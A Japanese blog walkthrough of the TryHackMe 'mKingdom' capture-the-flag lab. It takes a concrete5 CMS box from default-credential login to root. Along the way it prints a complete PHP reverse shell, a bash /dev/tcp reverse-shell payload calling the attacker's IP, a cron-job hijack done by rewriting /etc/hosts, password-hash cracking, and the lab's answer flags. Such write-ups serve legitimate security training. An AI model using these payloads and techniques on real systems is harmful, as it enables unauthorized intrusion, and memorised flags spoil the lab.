LoginSignup
0
0

概要

TryHackMe「mKingdom」のWalkthroughです。

Task1

Q1.What is user.txt?

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -p- 10.10.216.138 -oN nmap_result
PORT   STATE SERVICE VERSION
85/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0H N0! PWN3D 4G4IN
|_http-server-header: Apache/2.4.7 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
85 http Apache httpd 2.4.7

85番ポートでWebサイトにアクセスできました。

home pag.png

ディレクトリの列挙を行います。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.216.138:85/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result
                        [Status: 200, Size: 647, Words: 147, Lines: 34, Duration: 240ms]
app                     [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 241ms]

/appへアクセスするとボタンがあり/app/castleにアクセスできました。

app button.png

castle.png

HTMLヘッダーからconcrete5 8.5.2というCMSを使用していると分かりました。

cms version.png

当該バージョンの脆弱性を検索するとCVE-2020-24986を見つけました。

これを実行するには管理パネルへログインする必要があるようです。
/app/castle/index.php/loginでログイン画面にアクセスできました。
デフォルトのユーザー名はadminのようです。

試しにPassword: passwordで試みるとログインに成功しました。

攻撃はHackerOneのサイトを参考にしました。

System & Settings->Files->Allowed File Typesにアクセスします。

allowed file types.png

phpの拡張子を追加します。

add php.png

Files->File Managerでファイルマネージャーページにアクセスします。

file manager.png

下記サイトでペイロードを作成します。

shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.6.55.144';
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

Upload Filesボタンから先ほど作成したリバースシェルファイルをドラッグアンドドロップでアップロードします。
緑のプログレスバーが出ていればアップロード成功です。

file upload.png

Closeボタンで閉じるとアップロード完了画面が表示されます。

upload complete.png

Netcatでリッスンします。

$ nc -lvnp 1234

URL to Fileのリンクをクリックするとシェルを得られました。

$ nc -lvnp 1234  
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.216.138] 46178
Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 11:38:22 up  3:33,  0 users,  load average: 0.00, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)
sh: 0: can't access tty; job control turned off
$

ttyに接続します。

$ python -c 'import pty; pty.spawn("/bin/sh")'
$ tty
tty
/dev/pts/8

プロセスを確認するとmysqlの動作を確認できました。

$ ps u -A

(省略)

mysql     1237  0.0  5.7 880768 58784 ?        Ssl  08:04   0:09 /usr/sbin/mysqld

mysqlに接続します。
パスワードなしでログインできました。

$ mysql -u root
mysql>

mysqlデータベースのusersテーブルからtoadアカウントのハッシュ化されたパスワードを発見しました。

mysql> select * from user;
select * from user;
+--------------+------------------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+--------+-----------------------+
| Host         | User             | Password                                  | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | Create_view_priv | Show_view_priv | Create_routine_priv | Alter_routine_priv | Create_user_priv | Event_priv | Trigger_priv | Create_tablespace_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections | max_user_connections | plugin | authentication_string |
+--------------+------------------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+--------+-----------------------+
| localhost    | root             |                                           | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 |        |                       |
| mkingdom.thm | root             |                                           | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 |        |                       |
| 127.0.0.1    | root             |                                           | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 |        |                       |
| ::1          | root             |                                           | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 |        |                       |
| localhost    | debian-sys-maint | *C9395CED34FBFD12AEA49B684E680929E10601E0 | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 |        | NULL                  |
| localhost    | toad             | *67D97D25E90A4914F673B306662641AD4010DB82 | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 |        | NULL                  |
+--------------+------------------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+--------+-----------------------+
6 rows in set (0.00 sec)

John The Ripperでハッシュ値を解析しパスワードを特定しました。

$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
toadisthebest    (?)     
1g 0:00:00:00 DONE (2024-07-04 11:54) 3.846g/s 12147Kp/s 12147Kc/s 12147KC/s toadkiss4..toadiscool
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

toadでログインできました。

$ su toad
su toad
Password: toadisthebest

toad@mkingdom:/var/www/html/app/castle/concrete/config$

linpeasをKaliからダウンロードし、実行します。

$ wget http://10.6.55.144/linpeas.sh
wget http://10.6.55.144/linpeas.sh
--2024-07-04 11:59:37--  http://10.6.55.144/linpeas.sh
Connecting to 10.6.55.144:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 862779 (843K) [text/x-sh]
Saving to: ‘linpeas.sh.1’

100%[======================================>] 862,779      579KB/s   in 1.5s   

2024-07-04 11:59:39 (579 KB/s) - ‘linpeas.sh.1’ saved [862779/862779]
$ chmod +x linpeas.sh
chmod +x linpeas.sh
$ ./linpeas.sh

環境変数にPWD_tokenというbase64でエンコードされた文字列を発見しました。

╔══════════╣ Environment
╚ Any private information inside environment variables?                                                              
LESSOPEN=| /usr/bin/lesspipe %s                                                                                      
HISTFILESIZE=0
MAIL=/var/mail/toad
USER=toad
SHLVL=1
OLDPWD=/var/www/html/app/castle/concrete/config
HOME=/home/toad
PWD_token=aWthVGVOVEFOdEVTCg==

デコードするとパスワードの様な文字列が出てきました。

$ echo -n "aWthVGVOVEFOdEVTCg==" | base64 -d              
ikaTeNTANtES

marioアカウントでのログインを試みると成功しました。

$ su mario 
su mario
Password: ikaTeNTANtES

mario@mkingdom:/tmp$

Kaliからpspyをダウンロードし実行します。

$ ./pspy32

定期的に/app/castle/application/counter.shを実行し、/var/log/up.logに追記するプロセスを発見しました。

2024/07/04 12:40:01 CMD: UID=0     PID=25705  | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log

プロセスでホスト名を指定しているので、/etc/hostsのパーミッションを確認するとmarioユーザーで編集できると分かりました。

$ ls -l /etc/hosts
ls -l /etc/hosts
-rw-rw-r-- 1 root mario 342 Jan 26 19:53 /etc/hosts
┌──(kali㉿kali)-[~/mKingdom/app/castle/application]
└─$ cat counter.sh 
sh -i >& /dev/tcp/10.6.55.144/1234 0>&1

mkingdom.thmのIPアドレスをKaliのアドレスに変更したhostsファイルをローカルで作成します。

127.0.0.1       localhost
10.6.55.144     mkingdom.thm
127.0.0.1       backgroundimages.concrete5.org
127.0.0.1       www.concrete5.org
127.0.0.1       newsflow.concrete5.org

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

そしてターゲットマシンからダウンロードします。

$ wget http://10.6.55.144/hosts -O /etc/hosts

ターゲットマシンでmkingdom.thmにアクセスするとKaliへ接続するようになりました。

mario@mkingdom:/etc$ cat hosts
cat hosts
127.0.0.1       localhost
10.6.55.144     mkingdom.thm
127.0.0.1       backgroundimages.concrete5.org
127.0.0.1       www.concrete5.org
127.0.0.1       newsflow.concrete5.org

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Kaliでapp/castle/application/counter.shにリバースシェルのペイロードを書き込み、作成します。

┌──(kali㉿kali)-[~/mKingdom]
└─$ cat app/castle/application/counter.sh 
bash -c 'exec bash -i &>/dev/tcp/10.6.55.144/4444 <&1'

appの親フォルダでhttpサーバーを85番でオープンにします。

$ python -m http.server 85

これによりpspyで発見したジョブが、Kaliで先ほど作成したapp/castle/application/counter.shファイルを取得し、Bashで実行します。

Netcatでリバースシェルのリッスンをします。

$ nc -lvnp 4444
listening on [any] 4444 ...

ターゲットマシンでジョブが実行されるとrootのシェルを取得できました。

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.216.138] 57430
bash: cannot set terminal process group (26379): Inappropriate ioctl for device
bash: no job control in this shell
root@mkingdom:~# whoami
whoami
root

/home/mario/user.txtからフラグを入手できます。

/home/mario/user.txt
thm{030a769febb1b3291da1375234b84283}

A.thm{030a769febb1b3291da1375234b84283}

Q2.What is root.txt?

同じように/root/root.txtからルートフラグを入手できます。

/root/root.txt
thm{e8b2f52d88b9930503cc16ef48775df0}

A.thm{e8b2f52d88b9930503cc16ef48775df0}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0